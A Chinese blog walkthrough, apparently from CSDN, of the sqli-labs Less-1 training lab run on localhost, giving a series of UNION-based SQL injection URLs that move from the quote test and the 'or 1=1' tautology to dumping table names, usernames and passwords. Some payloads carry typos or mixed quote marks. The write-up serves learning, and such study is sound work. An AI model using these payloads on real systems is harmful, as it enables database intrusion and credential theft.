sqli-labs之less1

在看别人的博客的基础上自己加了些修改

sql-labs之less1

打开题目我们可以看到这样的界面
在这里插入图片描述
一、我们先尝试下看是不是get获取请求方式。
在地址栏后面加上?id=1;发现结果是我们所预料的get方式。
http://127.0.0.1/sqli-labs-master/Less-1/?id=1

在这里插入图片描述
二、在http://127.0.0.1/sqli-labs-master/Less-1/?id=1加个’,查看下会出现什么效果
在这里插入图片描述
我们提交后,sql语句就被构造成了’1’'limit ‘0,1’。
三、那我们要怎样把‘去掉呢,这就想到了万能密钥’or 1=1–+ 我们尝试一下

http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘or 1=1--+

在这里插入图片描述
果然可以,页面又正常了。
可,这是为什么呢,我们去查看下源码,
源码位置如下
在这里插入图片描述
在这里插入图片描述
当我们提交’or 1=1–+,由于sql语句未做任何过滤,所有,构造的sql语句就是

$sql="SELECT * FROM users WHERE id='1'or 1=1--+'LIMIT 0,1";。//'1'or 1=1--+'这个永远为真,所以我们就成功造成了注入

四、判断它所在的数据库有几列

http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘order by3

在这里插入图片描述

http://127.0.0.1/sqli-labs-master/Less-1/?id=1’order by 4

在这里插入图片描述
故它所在的数据库有3列。
五、判断它的内容显示在第几列

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,2,3--+

在这里插入图片描述
六、找出当前的用户权限

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,user(),3--+

在这里插入图片描述
七、查找当前的数据库

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,database(),3--+

在这里插入图片描述
八、查找当前数据库的表名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1‘union select 1,(select group_concat(table_name) from information_schema.tables where table_schema =’security‘),3--+

在这里插入图片描述
九、查找当前表(users)下的列

  http://127.0.0.1/sqli-labs-master/Less-1/?id=-1‘union select 1,(select group_concat(column_name) from information_schema.column where table_schema =’security‘ and table_name='users'),3--+

在这里插入图片描述
十,查找用户名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,(select group_concat(username) from security.users),3--+

在这里插入图片描述
十一、查找密码

  http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,(select group_concat(password) from security.users),3--+

在这里插入图片描述
十一、也可以直接找出对应的用户和密码

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1‘union select 1,username,password from users where id=2--+

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值